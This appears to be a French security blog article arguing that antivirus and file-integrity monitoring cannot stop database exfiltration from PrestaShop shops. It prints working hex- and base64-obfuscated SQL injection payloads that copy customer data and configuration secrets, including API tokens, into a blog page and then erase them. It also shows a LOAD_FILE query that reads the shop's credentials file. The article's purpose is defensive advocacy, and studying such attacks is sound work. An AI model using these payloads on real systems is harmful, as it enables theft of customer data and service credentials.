Les antivirus, anti-malwares ou encore les FIM (file integrity monitoring - outils de surveillance des fichiers) sont souvent vendus comme des solutions incontournables pour protéger les systèmes d'information contre les intrusions et les infections.
Pourtant, ces outils s'inscrivent dans une démarche réactive : ils interviennent une fois que l'attaque a déjà eu lieu.
Ils ne font qu'alerter sur une intrusion effective, bien trop tard pour empêcher la compromission des données.
En résumé, un antivirus PrestaShop ne suffit pas : votre Shop peut être piraté sans laisser de traces.
En réalité :
La cybersécurité ne peut pas être purement réactive. Une approche préventive est essentielle pour éviter que les attaques ne réussissent dès le départ.
L'approche réactive reste un filet de sécurité lorsque les protections préventives ont échoué. Cependant, elle ne peut pas être la première ligne de défense.
Pour une sécurité efficace, il faut d'abord :
Un antivirus peut détecter une attaque en cours, mais il n'arrêtera jamais une fuite de données invisible.
Les outils de surveillance comme les FIM (File Integrity Monitoring - Outils de surveillance des fichiers) reposent sur un principe simple : surveiller les modifications de fichiers et détecter les signatures connues des menaces.
Mais voici le problème majeur : si rien ne change sur le disque, ils restent aveugles.
Un attaquant peut exfiltrer des données de PrestaShop sans jamais laisser de trace détectable par un antivirus ou un FIM grâce à la base de données.
Voici une attaque redoutable, invisible aux antivirus et FIM, qui exfiltre discrètement la base client en la copiant dans un article de blog, puis la récupère avant de l'effacer :
SET @a = X'5345542040747066203D202873656C656374206C656674287461626C655F6E616D65202C204C4F434154452827636F6E66696775726174696F6E272C207461626C655F6E616D65292D31292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D61203D202873656C65637420646174616261736528292920616E64207461626C655F6E616D65206C696B65202725636F6E66696775726174696F6E27204F52444552204259204C454E475448287461626C655F6E616D652920415343204C494D49542031293B';PREPARE stmt FROM @a;EXECUTE stmt;SET @b = 0x534554204063203D20434F4E434154282755504441544520272C407470662C27636D735F6C616E672053455420636F6E74656E743D434F4E43415428636F6E74656E742C2853454C4543542047524F55505F434F4E434154282253233432222C227C222C66697273746E616D652C227C222C6C6173746E616D652C227C222C656D61696C292046524F4D20272C407470662C27637573746F6D657229292057484552452069645F636D733D312729;PREPARE stmt2 FROM @b;EXECUTE stmt2;PREPARE stmt3 FROM @c;EXECUTE stmt3;
SET @a = unhex('5345542040747066203D202873656C656374206C656674287461626C655F6E616D65202C204C4F434154452827636F6E66696775726174696F6E272C207461626C655F6E616D65292D31292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D61203D202873656C65637420646174616261736528292920616E64207461626C655F6E616D65206C696B65202725636F6E66696775726174696F6E27204F52444552204259204C454E475448287461626C655F6E616D652920415343204C494D49542031293B');PREPARE stmt FROM @a;EXECUTE stmt;SET @b = FROM_BASE64('U0VUIEBjID0gQ09OQ0FUKCdVUERBVEUgJyxAdHBmLCdjbXNfbGFuZyBTRVQgY29udGVudD1MRUZUKGNvbnRlbnQsIExPQ0FURSgiUyM0MiIsIGNvbnRlbnQpLTEpIFdIRVJFIGlkX2Ntcz0xJyk=');PREPARE stmt2 FROM @b;EXECUTE stmt2;PREPARE stmt3 FROM @c;EXECUTE stmt3;
Dans une variante encore plus dévastatrice, nous pourrions également envisager de piller la table des configurations de PrestaShop, incluant tous les tokens d'authentification aux services tiers (banque, mailing, retargeting, etc.).
Cela ouvrirait la porte à un pillage permanent via API – encore plus discret – ciblant des services secondaires hors du contrôle de votre équipe technique, et potentiellement indétectable pendant des mois.
- Étape 1 : Copier tous les secrets (incluant les clés secrètes d'API) de la configuration du PrestaShop dans le contenu d'un article de blog - l'injection dévoile automatiquement le préfixe secret de vos tables
SET @a = X'5345542040747066203D202873656C656374206C656674287461626C655F6E616D65202C204C4F434154452827636F6E66696775726174696F6E272C207461626C655F6E616D65292D31292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D61203D202873656C65637420646174616261736528292920616E64207461626C655F6E616D65206C696B65202725636F6E66696775726174696F6E27204F52444552204259204C454E475448287461626C655F6E616D652920415343204C494D49542031293B';PREPARE stmt FROM @a;EXECUTE stmt;SET @b = 0x534554204063203D202F2A52414E444F4D2A2F434F4E434154282755504441544520272C407470662C27636D735F6C616E672053455420636F6E74656E743D434F4E43415428636F6E74656E742C2853454C4543542047524F55505F434F4E434154282253233432222C227C222C6E616D652C227C222C76616C75652C227C22292046524F4D20272C407470662C27636F6E66696775726174696F6E29292057484552452069645F636D733D312729;PREPARE stmt2 FROM @b;EXECUTE stmt2;PREPARE stmt3 FROM @c;EXECUTE stmt3;
SET @a = unhex('5345542040747066203D202873656C656374206C656674287461626C655F6E616D65202C204C4F434154452827636F6E66696775726174696F6E272C207461626C655F6E616D65292D31292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D61203D202873656C65637420646174616261736528292920616E64207461626C655F6E616D65206C696B65202725636F6E66696775726174696F6E27204F52444552204259204C454E475448287461626C655F6E616D652920415343204C494D49542031293B');PREPARE stmt FROM @a;EXECUTE stmt;SET @b = FROM_BASE64('U0VUIEBjID0gLypSQU5ET00qL0NPTkNBVCgnVVBEQVRFICcsQHRwZiwnY21zX2xhbmcgU0VUIGNvbnRlbnQ9TEVGVChjb250ZW50LCBMT0NBVEUoIlMjNDIiLCBjb250ZW50KS0xKSBXSEVSRSBpZF9jbXM9MScp');PREPARE stmt2 FROM @b;EXECUTE stmt2;PREPARE stmt3 FROM @c;EXECUTE stmt3;
Les possibilités sont infinies dès qu'un accès direct à une base de données est possible. Nous pourrions, par exemple, injecter des XSS de type 2 pour rendre des info-stealers (pilleurs de données) persistants dans la base, auto-créer des super-administrateurs, générer des clés d'API (ce que très peu de tiers surveillent), et bien plus encore.
Si les permissions de la base de données sont mal configurées, il devient également possible d'exploiter la fonction LOAD_FILE pour accéder aux fichiers sensibles du serveur. Cela inclut les fichiers de configuration de PrestaShop, exposant ainsi les identifiants de connexion à la base de données et divers secrets exploitables à distance.
SELECT LOAD_FILE('/var/www/html/config/settings.inc.php');
⚠️ Ces informations sont fournies à des fins purement pédagogiques. Toute utilisation à des fins malveillantes vous expose à des poursuites judiciaires.
Pour les plus techniques d'entre vous : les vulnérabilités "par design" exploitées pour réaliser ces injections SQL vont bien au-delà de PrestaShop. Elles concernent l'ensemble des écosystèmes exploitant des bases de données, notamment tout l'environnement PHP : WordPress, Magento, Drupal, Joomla, et bien d'autres.
Les antivirus et outils de surveillance comme les FIM jouent un rôle, mais ils sont insuffisants pour les marchands réalisant plus d'un million d'euros par an de chiffre d'affaires.
Pour une véritable protection, il faut :
🚨 Un antivirus n'arrête pas une exfiltration SQL. Un FIM ne voit rien si le disque ne change pas. La cybersécurité ne peut pas être une simple alerte tardive.
Elles figurent régulièrement dans le Top 10 OWASP des vulnérabilités les plus critiques et sont exploitées dans de nombreuses attaques visant à exfiltrer, modifier ou supprimer des données sensibles.
À ce titre, elles doivent être prises au sérieux et contrées par des mesures de prévention robustes, telles que la validation stricte des entrées, l'utilisation de requêtes préparées et la mise en place de WAF efficaces.